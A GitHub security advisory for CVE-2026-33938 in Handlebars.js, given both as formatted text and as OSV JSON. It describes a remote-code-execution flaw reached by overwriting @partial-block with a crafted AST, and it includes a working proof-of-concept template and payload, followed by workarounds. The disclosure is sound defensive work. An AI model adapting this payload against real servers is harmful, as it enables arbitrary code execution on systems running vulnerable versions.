GHSA-3MFM-83XF-C92R

Vulnerability from github – Published: 2026-03-27 18:20 – Updated: 2026-03-27 21:52
VLAI
Summary
Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block
Details

Summary

The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.

Description

Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.

When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.

The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.

Proof of Concept

Tested with Handlebars 4.7.8 and handlebars-helpers:

const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);

const vulnerableTemplate = `
{{#*inline "myPartial"}}
    {{>@partial-block}}
    {{>@partial-block}}
{{/inline}}
{{#>myPartial}}
    {{merge @_parent partial-block=1}}
    {{merge @_parent partial-block=payload}}
{{/myPartial}}
`;

const maliciousContext = {
  payload: {
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Code injected via depth field — breaks out of generated function call
          depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block

Workarounds

  • Use the runtime-only build (require('handlebars/runtime')). The compile() method is absent, eliminating the vulnerable fallback path.
  • Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
  • Avoid registering helpers from third-party packages (such as handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T18:20:44Z",
    "nvd_published_at": "2026-03-27T21:17:27Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{\u003e @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame\u0027s `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{\u003e @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\nconst merge = require(\u0027handlebars-helpers\u0027).object().merge;\nHandlebars.registerHelper(\u0027merge\u0027, merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n    {{\u003e@partial-block}}\n    {{\u003e@partial-block}}\n{{/inline}}\n{{#\u003emyPartial}}\n    {{merge @_parent partial-block=1}}\n    {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n  payload: {\n    type: \"Program\",\n    body: [\n      {\n        type: \"MustacheStatement\",\n        depth: 0,\n        path: {\n          type: \"PathExpression\",\n          parts: [\"pop\"],\n          original: \"this.pop\",\n          // Code injected via depth field \u2014 breaks out of generated function call\n          depth: \"0])),function () {console.error(\u0027VULNERABLE: RCE via @partial-block\u0027);}()));//\",\n        },\n      },\n    ],\n  },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require(\u0027handlebars/runtime\u0027)`). The `compile()` method is  absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers  should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in  contexts where templates or context data can be influenced by untrusted input.",
  "id": "GHSA-3mfm-83xf-c92r",
  "modified": "2026-03-27T21:52:26Z",
  "published": "2026-03-27T18:20:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33938"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block"
}


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